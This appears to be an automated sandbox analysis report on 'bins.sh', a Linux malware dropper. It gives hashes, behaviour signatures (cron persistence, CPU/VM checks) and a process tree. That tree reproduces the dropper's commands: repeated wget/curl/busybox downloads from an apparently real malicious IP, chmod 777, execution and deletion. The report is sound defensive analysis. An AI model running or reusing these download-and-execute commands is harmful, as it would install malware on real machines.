3d730bc9735ab25dad81eb452fbe24f699b20404f79b35328957eec76fdd6537

Analysis

max time kernel
149s
max time network
130s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2024, 10:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

f58d1dc07ece41ca6d4c6c4b9773182e
SHA1

1043fbc66935e96d666e143bc0e0e0b95c2b63ed
SHA256

3d730bc9735ab25dad81eb452fbe24f699b20404f79b35328957eec76fdd6537
SHA512

c1d9b7a14ed7881716aad651d9995a74d00e3e58adb40fae6f7ed35dfcec7221b872c1597ec6c7a568010e57592668c913f02dcc5b218fb11dde133e182a03b2
SSDEEP

192:W8kdeLmhof43BGUgQBhTl8kdeLmqT3BQBhTC:W8kdeqhoftUgQBhTl8kdeqquBhTC

Score

7^/10

antivm persistence

Malware Config

Signatures

Executes dropped EXE 28 IoCs

Renames itself 1 IoCs

pid
667

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1VzWBO	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/893/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/924/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/950/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/727/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/872/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/860/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/632/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/716/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/22/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/766/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/896/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/23/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/689/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/15/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/792/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/803/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/929/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/19/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/303/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/769/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/841/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/888/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/923/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/277/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/631/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/791/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/956/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/846/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/879/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/43/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/76/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/136/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/274/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/731/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/740/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/895/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/26/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/696/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/741/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/686/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/749/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/12/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/98/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/641/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/585/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/721/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/755/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/757/cmdline	iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 48 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO	wget
File opened for modification	/tmp/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx	busybox
File opened for modification	/tmp/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI	busybox
File opened for modification	/tmp/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW	curl
File opened for modification	/tmp/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx	busybox
File opened for modification	/tmp/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c	busybox
File opened for modification	/tmp/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs	busybox
File opened for modification	/tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO	curl
File opened for modification	/tmp/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m	busybox
File opened for modification	/tmp/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW	busybox
File opened for modification	/tmp/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm	busybox
File opened for modification	/tmp/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt	busybox
File opened for modification	/tmp/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs	curl
File opened for modification	/tmp/Vagi7meiueBttLimeY0QohYvyNii9y4zMR	wget
File opened for modification	/tmp/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c	busybox
File opened for modification	/tmp/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI	curl
File opened for modification	/tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO	busybox
File opened for modification	/tmp/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW	curl
File opened for modification	/tmp/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c	curl
File opened for modification	/tmp/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW	busybox
File opened for modification	/tmp/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb	busybox
File opened for modification	/tmp/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt	curl
File opened for modification	/tmp/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt	curl
File opened for modification	/tmp/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx	busybox
File opened for modification	/tmp/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW	busybox
File opened for modification	/tmp/Vagi7meiueBttLimeY0QohYvyNii9y4zMR	curl
File opened for modification	/tmp/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm	curl
File opened for modification	/tmp/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt	busybox
File opened for modification	/tmp/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx	busybox
File opened for modification	/tmp/Vagi7meiueBttLimeY0QohYvyNii9y4zMR	busybox
File opened for modification	/tmp/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m	curl
File opened for modification	/tmp/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI	curl
File opened for modification	/tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO	busybox
File opened for modification	/tmp/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs	busybox
File opened for modification	/tmp/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx	curl
File opened for modification	/tmp/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx	curl
File opened for modification	/tmp/Vagi7meiueBttLimeY0QohYvyNii9y4zMR	busybox
File opened for modification	/tmp/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb	curl
File opened for modification	/tmp/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt	busybox
File opened for modification	/tmp/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs	curl
File opened for modification	/tmp/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m	busybox
File opened for modification	/tmp/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW	curl
File opened for modification	/tmp/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI	busybox
File opened for modification	/tmp/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm	busybox
File opened for modification	/tmp/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW	busybox
File opened for modification	/tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO	curl
File opened for modification	/tmp/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt	busybox
File opened for modification	/tmp/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:633
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:635
- /usr/bin/wget
  wget http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Writes file to tmp directory
  PID:640
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:654
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Writes file to tmp directory
  PID:663
- /bin/chmod
  chmod 777 iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  PID:665
- /tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  ./iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:666
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:668
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:669
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:671
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:672
- /bin/rm
  rm iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  PID:674
- /usr/bin/wget
  wget http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:678
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Checks CPU configuration
  PID:679
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:688
- /tmp/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  ./oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:691
- /usr/bin/wget
  wget http://37.44.238.75/bins/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:694
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  PID:703
- /tmp/lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  ./lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm lleJwlAImyqhwZhZbB4dwBpBt4quciaLIx
  2⤵
  PID:705
- /usr/bin/wget
  wget http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Checks CPU configuration
  PID:708
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod 777 BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:717
- /tmp/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  ./BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Executes dropped EXE
  PID:719
- /bin/rm
  rm BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:722
- /usr/bin/wget
  wget http://37.44.238.75/bins/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:724
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  PID:734
- /tmp/gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  ./gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm gJ6oXExmNUtJlKPCezUadEGTjUqWrrQ4Yt
  2⤵
  PID:737
- /usr/bin/wget
  wget http://37.44.238.75/bins/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  - Checks CPU configuration
  PID:741
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  PID:750
- /tmp/G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  ./G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm G7ulzVjYC59VOtF7T9QRQXEtGjH8ckO0Nx
  2⤵
  PID:754
- /usr/bin/wget
  wget http://37.44.238.75/bins/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:756
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  PID:758
- /tmp/iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  ./iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW
  2⤵
  PID:761
- /usr/bin/wget
  wget http://37.44.238.75/bins/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:763
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  PID:768
- /tmp/6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  ./6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm 6mXYDuVjkYQ1THGXik9a0pAAofy3U2Zedb
  2⤵
  PID:772
- /usr/bin/wget
  wget http://37.44.238.75/bins/Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  - Checks CPU configuration
  PID:778
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  PID:784
- /tmp/Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  ./Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm Vagi7meiueBttLimeY0QohYvyNii9y4zMR
  2⤵
  PID:790
- /usr/bin/wget
  wget http://37.44.238.75/bins/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  - Checks CPU configuration
  PID:793
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  PID:802
- /tmp/2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  ./2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm 2qwYcUyrntHY24EcShZNxGEQajLpAzKO5c
  2⤵
  PID:806
- /usr/bin/wget
  wget http://37.44.238.75/bins/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  - Checks CPU configuration
  PID:810
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  PID:816
- /tmp/2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  ./2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 2Bs8JFpFOqBiXgfSVDNolN4qmaxmtBrJlm
  2⤵
  PID:819
- /usr/bin/wget
  wget http://37.44.238.75/bins/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  PID:823
- /tmp/ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  ./ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm ggIPjWoiO55CN4uLVMsA2oFwFP7Fau1TaI
  2⤵
  PID:826
- /usr/bin/wget
  wget http://37.44.238.75/bins/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  PID:830
- /tmp/q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  ./q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm q24SnZsLiPrkf7mgfxxwiPjZ5o2OXBksEW
  2⤵
  PID:833
- /usr/bin/wget
  wget http://37.44.238.75/bins/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod 777 jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  PID:837
- /tmp/jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  ./jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm jOjCsc6Lb1rfzqKpKE3ERtlNUMhVHKezYs
  2⤵
  PID:839
- /usr/bin/wget
  wget http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  PID:843
- /tmp/iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  ./iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm iR8yH0i1CmTagbpd5LAkUyKPelq5OSIWoO
  2⤵
  PID:845
- /usr/bin/wget
  wget http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:849
- /tmp/oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  ./oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm oFcmE1FgKhne42UgV8PwFKEfPr8uhc21Zt
  2⤵
  PID:851
- /usr/bin/wget
  wget http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://37.44.238.75/bins/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod 777 BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:855
- /tmp/BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  ./BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm BOBYOkW9NldfT5hBXi13puYhvLpwLH5Z4m
  2⤵
  PID:858
- /usr/bin/wget
